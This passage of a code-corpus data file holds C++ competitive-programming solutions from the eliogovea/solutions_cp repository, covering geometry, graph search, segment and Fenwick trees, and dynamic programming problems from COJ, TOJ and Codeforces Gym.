);\r\n\tint v3 = signo( cross( p, c, a ) );\r\n\r\n if( v1 == v2 && v2 == v3 ) cout << 1 << endl;\r\n else if( v1 == 0\r\n && p.x >= min( a.x, b.x )\r\n && p.x <= max( a.x, b.x )\r\n && p.y >= min( a.y, b.y )\r\n && p.y <= max( a.y, b.y ) ) cout << '1' << endl;\r\n else if( v2 == 0\r\n && p.x >= min( b.x, c.x )\r\n && p.x <= max( b.x, c.x )\r\n && p.y >= min( b.y, c.y )\r\n && p.y <= max( b.y, c.y ) ) cout << '1' << endl;\r\n else if( v3 == 0\r\n && p.x >= min( c.x, a.x )\r\n && p.x <= max( c.x, a.x )\r\n && p.y >= min( c.y, a.y )\r\n && p.y <= max( c.y, a.y ) ) cout << '1' << endl;\r\n else cout << '0' << endl;\r\n}\r\n" }, { "alpha_fraction": 0.3871951103210449, "alphanum_fraction": 0.4695121943950653, "avg_line_length": 17.294116973876953, "blob_id": "d18c2c6ccdb8420ed2508b913df1330bb8b29e5f", "content_id": "3ca6b7ef8f82a00799c387674f3208dd4174f501", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 328, "license_type": "no_license", "max_line_length": 80, "num_lines": 17, "path": "/COJ/eliogovea-cojAC/eliogovea-p1845-Accepted-s468748.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<cmath>\r\nusing namespace std;\r\n\r\nconst double PI = 3.141592653589793, x=tan(PI/4.0)+tan(PI/3.0)+tan(5.0*PI/12.0);\r\n\r\nint n;\r\ndouble r;\r\n\r\nint main(){\r\n scanf(\"%d\",&n);\r\n while(n--){\r\n scanf(\"%lf\",&r);\r\n printf(\"%.4f\\n\",r*r*x);\r\n }\r\n return 0;\r\n }\r\n" }, { "alpha_fraction": 0.37940141558647156, "alphanum_fraction": 0.40492957830429077, "avg_line_length": 16.03174591064453, "blob_id": "3e7cbff192236861c599849adf822f2ddf1ce4b9", "content_id": "7520576430ab6639aa2281d93f2d29fd969299ed", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1136, "license_type": "no_license", "max_line_length": 53, "num_lines": 63, "path": "/COJ/eliogovea-cojAC/eliogovea-p2105-Accepted-s546131.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<vector>\r\n#include<queue>\r\n#define MAXN 1001\r\nusing namespace std;\r\n\r\nconst int mov[4][2]={1,0,-1,0,0,1,0,-1};\r\n\r\nint n,m,ans;\r\nchar mat[MAXN][MAXN],line[MAXN];\r\nbool mark[MAXN][MAXN];\r\nqueue<pair<int,int> > Q;\r\n\r\nbool is(int a, int b)\r\n{\r\n\tbool f=0;\r\n\tfor(int i=0; i<4; i++)\r\n\t\tf|=(mat[a+mov[i][0]][b+mov[i][1]]=='-');\r\n\treturn f;\r\n}\r\n\r\nint main()\r\n{\r\n\tscanf(\"%d%d\",&n,&m);\r\n\r\n\tfor(int i=1; i<=n; i++)\r\n\t\tscanf(\"%s\",mat[i]+1);\r\n\r\n\tfor(int i=1; i<=n; i++)\r\n\t\tfor(int j=1; j<=m; j++)\r\n\t\t\tif(mat[i][j]=='+' && !mark[i][j])\r\n\t\t\t{\r\n\t\t\t\tans+=is(i,j);\r\n\t\t\t\tmark[i][j]=1;\r\n\t\t\t\tQ.push(make_pair(i,j));\r\n\r\n\t\t\t\twhile(!Q.empty())\r\n\t\t\t\t{\r\n\t\t\t\t\tint ii=Q.front().first;\r\n\t\t\t\t\tint jj=Q.front().second;\r\n\r\n\t\t\t\t\tQ.pop();\r\n\r\n\t\t\t\t\tfor(int k=0; k<4; k++)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tint ni=ii+mov[k][0];\r\n\t\t\t\t\t\tint nj=jj+mov[k][1];\r\n\r\n\t\t\t\t\t\tif(!mark[ni][nj] && mat[ni][nj]=='+')\r\n {\r\n mark[ni][nj]=1;\r\n ans+=is(ni,nj);\r\n Q.push(make_pair(ni,nj));\r\n }\r\n\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t}\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\r\n\tprintf(\"%d\\n\",ans);\r\n}\r\n" }, { "alpha_fraction": 0.33638444542884827, "alphanum_fraction": 0.3935926854610443, "avg_line_length": 15.479999542236328, "blob_id": "1af7ed9caae2c6274591aa0946a9ad471b9d27a9", "content_id": "87abdfd61496e1f734dce7d3ca7072310989452c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 437, "license_type": "no_license", "max_line_length": 39, "num_lines": 25, "path": "/COJ/eliogovea-cojAC/eliogovea-p2165-Accepted-s494498.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<cmath>\r\n\r\nconst double PI = 3.141592653589793116;\r\nint t,n;\r\ndouble r,ans;\r\n\r\nint main()\r\n{\r\n scanf(\"%d\",&t);\r\n while(t--)\r\n {\r\n scanf(\"%d\",&n);\r\n for(int i=1; i<=n; i++)\r\n {\r\n scanf(\"%lf\",&r);\r\n if(i&1)ans+=r*r;\r\n else ans-=r*r;\r\n }\r\n if(!(n&1))ans=-ans;\r\n printf(\"%.9lf\\n\",PI*ans);\r\n ans=0;\r\n }\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.3256140351295471, "alphanum_fraction": 0.34877192974090576, "avg_line_length": 19.830768585205078, "blob_id": "0d59f14d9047d66c404281ee19eacfdd04fad92a", "content_id": "cb6049582859c2a5494d446b816d92ee17075a06", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1425, "license_type": "no_license", "max_line_length": 59, "num_lines": 65, "path": "/COJ/eliogovea-cojAC/eliogovea-p4036-Accepted-s1294962.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 100 * 1000 + 10;\r\n\r\nint t;\r\nint n, p;\r\nint u[N], v[N];\r\nint last[N];\r\nint tou[N], tov[N];\r\nlong long dp[N];\r\npair <long long, int> events[2 * N];\r\n\r\nint main() {\r\n ios::sync_with_stdio(false);\r\n cin.tie(0);\r\n\r\n cin >> t;\r\n\r\n while (t--) {\r\n cin >> n >> p;\r\n\r\n for (int i = 1; i <= n; i++) {\r\n last[i] = 0;\r\n }\r\n\r\n long long answer = 0;\r\n\r\n for (int i = 1; i <= p; i++) {\r\n cin >> u[i] >> v[i];\r\n answer += 10 + abs(u[i] - v[i]);\r\n\r\n tou[i] = last[u[i]];\r\n tov[i] = last[v[i]];\r\n\r\n last[u[i]] = i;\r\n last[v[i]] = i;\r\n }\r\n\r\n for (int i = 1; i <= p; i++) {\r\n long long s = max(dp[tou[i]], dp[tov[i]]);\r\n dp[i] = s + 10LL + (long long)abs(u[i] - v[i]);\r\n \r\n events[i - 1] = make_pair(s, -1);\r\n events[p + i - 1] = make_pair(dp[i] - 1, 1);\r\n }\r\n\r\n long long maxt = 0;\r\n for (int i = 1; i <= p; i++) {\r\n maxt = max(maxt, dp[i]);\r\n }\r\n\r\n sort(events, events + 2 * p);\r\n\r\n int open = 0;\r\n int maxh = 0;\r\n for (int i = 0; i < 2 * p; i++) {\r\n open -= events[i].second;\r\n maxh = max(maxh, 2 * open);\r\n }\r\n \r\n cout << maxt << \" \" << maxh << \"\\n\";\r\n }\r\n}\r\n\r\n\r\n\r\n" }, { "alpha_fraction": 0.3745674788951874, "alphanum_fraction": 0.39965397119522095, "avg_line_length": 15.28169059753418, "blob_id": "a397730c3cbf4b1a63038f0cd04fa1fefefef21b", "content_id": "9dbead5378283d3509f60f7748dd8b62ff86ffd1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1156, "license_type": "no_license", "max_line_length": 43, "num_lines": 71, "path": "/Codeforces-Gym/101064 - 2016 USP Try-outs/G.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016 USP Try-outs\n// 101064G\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long long ll;\n\nconst int MAXN = 200100;\n\nint first[MAXN];\nint p[MAXN];\nvector<int> g[MAXN];\n\nint x[MAXN];\n\nint sol[MAXN];\n\nbool isq[MAXN];\n\nint nod[MAXN];\n\nvoid solve( int u, int lev ){\n nod[lev] = x[u];\n\n sol[u] = nod[first[u]-1];\n for( int i = 0; i < g[u].size(); i++ ){\n int v = g[u][i];\n solve( v , lev+1 );\n }\n\n nod[lev] = 0;\n}\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n int q; cin >> q;\n first[0] = 1;\n\n for( int i = 1; i <= q; i++ ){\n char typ; cin >> typ;\n\n if( typ == 'E' ){\n int u; cin >> u >> x[i];\n p[i] = u;\n g[p[i]].push_back(i);\n first[i] = first[p[i]];\n }\n else{\n int u; cin >> u;\n p[i] = p[u];\n x[i] = x[u];\n\n g[p[i]].push_back(i);\n first[i] = first[u]+1;\n isq[i] = true;\n }\n }\n\n solve( 0 , 0 );\n for( int i = 1; i <= q; i++ ){\n if( isq[i] ){\n cout << sol[i] << '\\n';\n }\n }\n}\n" }, { "alpha_fraction": 0.33698296546936035, "alphanum_fraction": 0.3965936601161957, "avg_line_length": 23.6875, "blob_id": "9a5b5fa9957faedde0c8742e3023bc683ef52d1f", "content_id": "ad30b9739cb9793690a2567f695c4fe4f84828c2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 822, "license_type": "no_license", "max_line_length": 131, "num_lines": 32, "path": "/COJ/eliogovea-cojAC/eliogovea-p2949-Accepted-s688676.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <cmath>\r\n\r\nusing namespace std;\r\n\r\ndouble dist(int x1, int y1, int x2, int y2) {\r\n\tdouble dx = x1 - x2;\r\n\tdouble dy = y1 - y2;\r\n\treturn sqrt(dx * dx + dy * dy);\r\n}\r\n\r\nint n, a[1000][1000];\r\n\r\nint main() {\r\n\tcin >> n;\r\n\tfor (int i = 0, x, y, r; i < n; i++) {\r\n\t\tcin >> x >> y >> r;\r\n\t\tx += 100; y += 100;\r\n\t\tif (a[x][y] <= r) a[x][y] = r;\r\n\t}\r\n\tfor (int i = 0; i <= 200; i++)\r\n\t\tfor (int j = 0; j <= 200; j++)\r\n\t\t\tfor (int k = i - a[i][j]; k <= i + a[i][j]; k++)\r\n\t\t\t\tfor (int l = j - a[i][j]; l <= j + a[i][j]; l++)\r\n\t\t\t\t\tif (k >= 0 && k <= 200 && l >= 0 && l <= 200 && (i != k || j != l) && (double(a[i][j]) >= dist(i, j, k, l) + double(a[k][l])))\r\n\t\t\t\t\t\ta[k][l] = 0;\r\n\tn = 0;\r\n\tfor (int i = 0; i <= 200; i++)\r\n\t\tfor (int j = 0; j <= 200; j++)\r\n\t\t\tif (a[i][j]) n++;\r\n\tcout << n << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.5009451508522034, "alphanum_fraction": 0.5170132517814636, "avg_line_length": 15.93220329284668, "blob_id": "98814bc628de2dc2882f842e560358ba24b5b2a7", "content_id": "605ffb0da8dba777b5a157c55a6dda62173e4205", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1058, "license_type": "no_license", "max_line_length": 61, "num_lines": 59, "path": "/COJ/eliogovea-cojAC/eliogovea-p2133-Accepted-s549629.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\n#include<cstdio>\r\n#include<vector>\r\n#define MAXN 30\r\nusing namespace std;\r\n\r\nstruct point{int x,y;};\r\nstruct circ{int x,y,r;};\r\nstruct rect{int x1,y1,x2,y2;};\r\n\r\nbool insidec(point a, circ c)\r\n{\r\n\treturn ((a.x-c.x)*(a.x-c.x)+(a.y-c.y)*(a.y-c.y) <= c.r*c.r);\r\n}\r\n\r\nbool insider(point a, rect r)\r\n{\r\n\treturn ( a.x>=r.x1 && a.x<=r.x2 && a.y>=r.y1 && a.y<=r.y2);\r\n}\r\n\r\nstring tip;\r\nint n;\r\npoint P;\r\ncirc c;\r\nrect r;\r\nvector<circ> ac;\r\nvector<circ>::iterator cit;\r\nvector<rect> ar;\r\nvector<rect>::iterator rit;\r\n\r\nint main()\r\n{\r\n\tscanf(\"%d\",&n);\r\n\tfor(int i=1; i<=n; i++)\r\n\t{\r\n\t\tcin >> tip;\r\n\t\tif(tip==\"rectangle\")\r\n\t\t{\r\n\t\t\tscanf(\"%d%d%d%d\",&r.x1,&r.y1,&r.x2,&r.y2);\r\n\t\t\tar.push_back(r);\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\tscanf(\"%d%d%d\",&c.x,&c.y,&c.r);\r\n\t\t\tac.push_back(c);\r\n\t\t}\r\n\t}\r\n scanf(\"%d\",&n);\r\n\tfor(int i=1; i<=n; i++)\r\n\t{\r\n\t\tscanf(\"%d%d\",&P.x,&P.y);\r\n\t\tint cant=0;\r\n\t\tfor(cit=ac.begin(); cit!=ac.end(); cit++)\r\n\t\t\tcant+=insidec(P,*cit);\r\n\t\tfor(rit=ar.begin(); rit!=ar.end(); rit++)\r\n\t\t\tcant+=insider(P,*rit);\r\n\t\tprintf(\"%d\\n\",cant);\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.357326477766037, "alphanum_fraction": 0.38303342461586, "avg_line_length": 15.681818008422852, "blob_id": "afe87c935d3bb0431831bb28b21f6973b3d4faf9", "content_id": "5b5167bfac0f11e8b7c8dc13377364411cd49a97", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 389, "license_type": "no_license", "max_line_length": 42, "num_lines": 22, "path": "/COJ/eliogovea-cojAC/eliogovea-p2683-Accepted-s598967.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <algorithm>\r\nusing namespace std;\r\n\r\nconst char c[] = {'0', '1', '2', '3', '4',\r\n\t\t\t\t\t'5', '6', '7', '8', '9',\r\n\t\t\t\t\t'A', 'B', 'C', 'D', 'E', 'F'};\r\nint tc, n, b;\r\nstring s;\r\n\r\nint main() {\r\n\tfor (cin >> tc; tc--;) {\r\n\t\tcin >> n >> b;\r\n\t\ts = \"\";\r\n\t\twhile (n) {\r\n\t\t\ts += c[n % b];\r\n\t\t\tn /= b;\r\n\t\t}\r\n\t\treverse(s.begin(), s.end());\r\n\t\tcout << s << endl;\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.33833959698677063, "alphanum_fraction": 0.37797245383262634, "avg_line_length": 19.84347915649414, "blob_id": "338cc15377be69a165cfcb7b69f3dfa245340efb", "content_id": "94554774438064873725932677b1473f55c8f2a8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2397, "license_type": "no_license", "max_line_length": 105, "num_lines": 115, "path": "/Codeforces-Gym/100494 - 2014-2015 CT S02E03: Codeforces Trainings Season 2 Episode 3 (NCPC 2008 + USACO DEC07 + GCJ 2008 Qual)/I.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014-2015 CT S02E03: Codeforces Trainings Season 2 Episode 3 (NCPC 2008 + USACO DEC07 + GCJ 2008 Qual)\n// 100494I\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int MAXN = 200100;\n\nint a[MAXN+10];\nint next[MAXN+10];\nint dic[MAXN+10];\nint dic2[MAXN+10];\n\nint st[4*MAXN];\n\nvoid build_st( int nod, int l , int r ){\n st[nod] = MAXN-1;\n if( l == r ){\n return;\n }\n\n int ls = nod*2, rs = ls+1;\n int mid = ( l + r ) / 2;\n\n build_st( ls , l , mid );\n build_st( rs , mid+1 , r );\n}\n\nvoid upd_st( int nod, int l, int r, int pos, bool insert ){\n if( l == r ){\n if( insert ){\n st[nod] = l;\n }\n else{\n st[nod] = MAXN-1;\n }\n\n return;\n }\n\n int ls = nod * 2, rs = ls + 1;\n int mid = ( l + r ) / 2;\n\n if( pos <= mid ){\n upd_st( ls , l , mid , pos , insert );\n }\n else{\n upd_st( rs , mid+1 , r , pos , insert );\n }\n\n st[nod] = ( next[ st[ls] ] > next[ st[rs] ] ) ? st[ls] : st[rs];\n}\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"in.txt\",\"r\",stdin);\n\n int sz, n, m; cin >> sz >> n >> m;\n\n for( int i = 0; i < m; i++ ){\n cin >> a[i];\n\n dic[ a[i] ] = MAXN;\n }\n\n for( int i = m-1; i >= 0; i-- ){\n next[ i ] = dic[ a[i] ];\n dic[ a[i] ] = i;\n }\n\n next[MAXN-1] = -1;\n\n fill( st , st + (4*MAXN), MAXN-1 );\n\n //build_st( 1 , 0 , m-1 );\n\n set<int> cache;\n\n int sol = 0;\n\n for( int i = 0; i < m; i++ ){\n if( cache.size() < sz ){\n if( cache.find( a[i] ) == cache.end() ){\n sol++;\n cache.insert( a[i] );\n upd_st( 1 , 0 , m-1 , i , true );\n }\n else{\n upd_st( 1 , 0 , m-1 , dic2[ a[i] ] , false );\n upd_st( 1 , 0 , m-1 , i , true );\n }\n }\n else{\n if( cache.find( a[i] ) == cache.end() ){\n sol++;\n int ind = st[1];\n cache.erase( a[ind] );\n cache.insert( a[i] );\n upd_st( 1 , 0 , m-1 , ind , false );\n upd_st( 1 , 0 , m-1 , i , true );\n }\n else{\n upd_st( 1 , 0 , m-1 , dic2[ a[i] ] , false );\n upd_st( 1 , 0 , m-1 , i , true );\n }\n }\n\n dic2[ a[i] ] = i;\n }\n\n cout << sol << '\\n';\n}\n" }, { "alpha_fraction": 0.4371941387653351, "alphanum_fraction": 0.4600326120853424, "avg_line_length": 19.13793182373047, "blob_id": "1496214fb08cbba68d7d5908a1451ab3a3b9dd12", "content_id": "c5433a953ff1195023608471f8f5f2b9d77beaf2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 613, "license_type": "no_license", "max_line_length": 55, "num_lines": 29, "path": "/COJ/eliogovea-cojAC/eliogovea-p1421-Accepted-s493081.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<cmath>\r\n#include<limits.h>\r\n\r\nint n;\r\ndouble Xx,Xy,Yx,Yy,px,py,m;\r\n\r\ndouble dist(double x1, double y1, double x2, double y2)\r\n{\r\n return sqrt((x1-x2)*(x1-x2)+(y1-y2)*(y1-y2));\r\n}\r\n\r\nint main()\r\n{\r\n while(scanf(\"%lf%lf\",&Xx,&Xy)!=EOF)\r\n {\r\n m=INT_MAX;\r\n scanf(\"%lf%lf%d\",&Yx,&Yy,&n);\r\n while(n--)\r\n {\r\n scanf(\"%lf%lf\",&px,&py);\r\n if(dist(Xx,Xy,px,py)+dist(px,py,Yx,Yy) < m)\r\n m=dist(Xx,Xy,px,py)+dist(px,py,Yx,Yy);\r\n }\r\n m+=dist(Xx,Xy,Yx,Yy);\r\n printf(\"%.4lf\\n\",m);\r\n }\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.3505154550075531, "alphanum_fraction": 0.38969072699546814, "avg_line_length": 14.724138259887695, "blob_id": "3170166d808c084de03444b78d0386a29fb7b83e", "content_id": "500bbd0a0c4a6214e465df4e0dca8fc58950b05a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 485, "license_type": "no_license", "max_line_length": 45, "num_lines": 29, "path": "/COJ/eliogovea-cojAC/eliogovea-p3454-Accepted-s905669.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 1005;\r\n\r\nint t;\r\nstring s;\r\nint dp[5][N];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tcin >> s;\r\n\t\tint n = s.size();\r\n\t\tdp[0][0] = 1;\r\n\t\tfor (int i = 1; i <= n; i++) {\r\n\t\t\tfor (int j = 0; j <= 3; j++) {\r\n\t\t\t\tdp[j][i] = dp[j][i - 1];\r\n\t\t\t\tif (j != 0 && s[i - 1] == \"CAT\"[j - 1]) {\r\n\t\t\t\t\tdp[j][i] += dp[j - 1][i - 1];\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tcout << dp[3][n] << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3986232876777649, "alphanum_fraction": 0.43679600954055786, "avg_line_length": 16.799999237060547, "blob_id": "60c9c01be848d9de5269abf4a4b8a0941224842c", "content_id": "c33c437700e1cd18651eab7dbb06b5cd0df2291c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1598, "license_type": "no_license", "max_line_length": 60, "num_lines": 85, "path": "/COJ/eliogovea-cojAC/eliogovea-p2496-Accepted-s689372.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <algorithm>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 1000005;\r\n\r\nint n, bit[N];\r\n\r\nvoid update(int pos, int val) {\r\n\tfor (; pos < N; pos = (pos | (pos - 1)) + 1)\r\n bit[pos] += val;\r\n}\r\n\r\nint query(int pos) {\r\n\tint ret = 0;\r\n\tfor (; pos > 0; pos = pos & (pos - 1))\r\n ret += bit[pos];\r\n\treturn ret;\r\n}\r\n\r\nstruct square {\r\n\tint x1, y1, x2, y2;\r\n\tvoid read() {\r\n\t\tscanf(\"%d%d%d%d\", &x1, &y1, &x2, &y2);\r\n\t\ty1++; y2++;\r\n\t\tif (x1 > x2) swap(x1, x2);\r\n\t\tif (y1 > y2) swap(y1, y2);\r\n\t}\r\n\tsquare() {}\r\n} a[N];\r\n\r\nstruct event {\r\n\tint x, id;\r\n\tbool in;\r\n\tevent() {}\r\n\tevent(int a, int b, bool c) {\r\n\t\tx = a;\r\n\t\tid = b;\r\n\t\tin = c;\r\n\t}\r\n\tbool operator < (const event &e) const {\r\n\t\tif (x != e.x) return x < e.x;\r\n\t\tif (in && e.in) {\r\n\t\t\tif (a[id].y1 != a[e.id].y1) return a[id].y1 < a[e.id].y1;\r\n\t\t\treturn a[id].y2 > a[e.id].y2;\r\n\t\t}\r\n\t\tif (!in && !e.in) {\r\n\t\t\tif (a[id].y1 != a[e.id].y1) return a[id].y1 > a[e.id].y1;\r\n\t\t\treturn a[id].y2 < a[e.id].y2;\r\n\t\t}\r\n\t\treturn !in;\r\n\t}\r\n} E[N];\r\n\r\nint mark[N], ans;\r\n\r\nint main() {\r\n\tscanf(\"%d\", &n);\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\ta[i].read();\r\n\t\tE[i] = event(a[i].x1, i, 1);\r\n\t\tE[n + i] = event(a[i].x2, i, 0);\r\n\t}\r\n\tn *= 2;\r\n\tsort(E, E + n);\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tif (!E[i].in) {\r\n\t\t\tif (mark[E[i].id]) {\r\n\t\t\t\tmark[E[i].id] = 0;\r\n\t\t\t\tans++;\r\n\t\t\t\tupdate(a[E[i].id].y1, -1);\r\n\t\t\t\tupdate(a[E[i].id].y2, 1);\r\n\t\t\t}\r\n\t\t} else {\r\n\t\t\tint tmp = query(a[E[i].id].y2);\r\n\t\t\tif (tmp == 0) {\r\n\t\t\t\tmark[E[i].id] = 1;\r\n\t\t\t\tupdate(a[E[i].id].y1, 1);\r\n\t\t\t\tupdate(a[E[i].id].y2, -1);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tprintf(\"%d\\n\", ans);\r\n}\r\n" }, { "alpha_fraction": 0.3701968193054199, "alphanum_fraction": 0.3889409601688385, "avg_line_length": 16.78333282470703, "blob_id": "50f08adc9d046356c6f60d16c8b9971e94ee5429", "content_id": "3ae8b791eceb03a36db757f0d684811511ffda02", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1067, "license_type": "no_license", "max_line_length": 78, "num_lines": 60, "path": "/TOJ/3483.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "//============================================================================\n// Name : test.cpp\n// Author : eliogovea\n// Version :\n// Copyright : Your copyright notice\n// Description : Hello World in C++, Ansi-style\n//============================================================================\n\n// 3483. Common Divisor\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int N = 100005;\n\nbool criba[N];\nvector<int> p;\n\nint cnt_div(int n) {\n\tint res = 1;\n\tfor (int i = 0; p[i] * p[i] <= n; i++) {\n\t\tif (n % p[i] == 0) {\n\t\t\tint tmp = 1;\n\t\t\twhile (n % p[i] == 0) {\n\t\t\t\ttmp++;\n\t\t\t\tn /= p[i];\n\t\t\t}\n\t\t\tres *= tmp;\n\t\t}\n\t}\n\tif (n > 1) {\n\t\tres *= 2;\n\t}\n\treturn res;\n}\n\nint main() {\n\tfor (int i = 2; i * i<= N; i++) {\n\t\tif (!criba[i]) {\n\t\t\tfor (int j = i * i; j <= N; j += i) {\n\t\t\t\tcriba[j] = false;\n\t\t\t}\n\t\t}\n\t}\n\tfor (int i = 2; i <= N; i++) {\n\t\tif (!criba[i]) {\n\t\t\tp.push_back(i);\n\t\t}\n\t}\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tint tc, a, b, g;\n\tcin >> tc;\n\twhile (tc--) {\n\t\tcin >> a >> b;\n\t\tg = __gcd(a, b);\n\t\tcout << cnt_div(g) << \"\\n\";\n\t}\n}\n" }, { "alpha_fraction": 0.35198134183883667, "alphanum_fraction": 0.3916083872318268, "avg_line_length": 19.450000762939453, "blob_id": "f383ab61e1c248e91f6cff258948e0e0b41fd75f", "content_id": "5ec9d514e6bc2d53226ddcfc33e9c8ca675f6f29", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 429, "license_type": "no_license", "max_line_length": 86, "num_lines": 20, "path": "/COJ/eliogovea-cojAC/eliogovea-p1914-Accepted-s489721.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n\r\nlong long pts[10000][2],n,q,xc,yc,r,c;\r\n\r\nint main()\r\n{\r\n scanf(\"%d%d\",&n,&q);\r\n for(int i=0; i<n; i++)scanf(\"%d%d\",&pts[i][0],&pts[i][1]);\r\n\r\n for(int i=0; i<q; i++)\r\n {\r\n scanf(\"%d%d%d\",&xc,&yc,&r);\r\n c=0;\r\n for(int j=0; j<n; j++)\r\n if((pts[j][0]-xc)*(pts[j][0]-xc)+(pts[j][1]-yc)*(pts[j][1]-yc) <= r*r)c++;\r\n\r\n printf(\"%d\\n\",c);\r\n }\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.3508196771144867, "alphanum_fraction": 0.37622949481010437, "avg_line_length": 22.921567916870117, "blob_id": "fb847e01ef269a14fffd7f0b27186d04f730a5ac", "content_id": "660ea6445ab3c3d75d7fda8163bd911180751d00", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2440, "license_type": "no_license", "max_line_length": 134, "num_lines": 102, "path": "/Codeforces-Gym/101095 - 2016-2017 CT S03E03: Codeforces Trainings Season 3 Episode 3 - 2007-2008 ACM-ICPC, Central European Regional Contest 2007 (CERC 07)/P.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 CT S03E03: Codeforces Trainings Season 3 Episode 3 - 2007-2008 ACM-ICPC, Central European Regional Contest 2007 (CERC 07)\n// 101095P\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long long ll;\nconst int MAXN = 1100;\nint n;\nstruct pt{\n int x,y;\n int id;\n};\nbool cmpX( const pt&a, const pt&b ){\n if( a.x != b.x )\n return a.x < b.x;\n return a.y < b.y;\n}\nbool cmpY( const pt&a, const pt&b ){\n if( a.y != b.y )\n return a.y < b.y;\n return a.x < b.x;\n}\npt p[MAXN],org[MAXN];\nvector<int> neig[MAXN];\nvoid Join( int a, int b ){\n int id1 = p[a].id,\n id2 = p[b].id;\n neig[ id1 ].push_back( id2 );\n neig[ id2 ].push_back( id1 );\n}\nbool mk[MAXN];\n\nchar getdir( pt a, pt b ){\n if( a.x == b.x ){\n if( a.y > b.y )\n return 'S';\n else\n return 'N';\n }\n if( a.y == b.y ){\n if( a.x > b.x )\n return 'W';\n else\n return 'E';\n }\n}\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n while( cin >> n, n ){\n for( int i = 0; i < n; i++ ){\n cin >> p[i].x>> p[i].y ;\n org[i] = p[i];\n p[i].id = i;\n neig[i].clear();\n mk[i] = false;\n }\n sort( p, p+n, cmpX );\n int xx = p[0].id;\n int st = xx;\n for( int i = 0; i < n; i += 2 ){\n Join( i, i+1 );\n //cout << p[i].x << \" \" << p[i].y << \"--->\";\n //cout << p[i+1].x << \" \" << p[i+1].y << endl;\n }\n sort( p, p+n, cmpY );\n for( int i = 0; i < n; i += 2 ){\n Join( i, i+1 );\n }\n mk[xx] = true;\n string sol;\n for( int k = 0; k < 2; k++ ){\n if( org[xx].x == org[ neig[xx][k] ].x ){\n sol += getdir( org[xx], org[ neig[xx][k] ] );\n xx = neig[xx][k];\n break;\n }\n }\n int p = 0;\n while( !mk[xx] ){\n mk[xx] = true;\n if( xx == 0 )\n p = sol.size();\n for( int k = 0; k < 2; k++ ){\n if( !mk[ neig[xx][k] ] 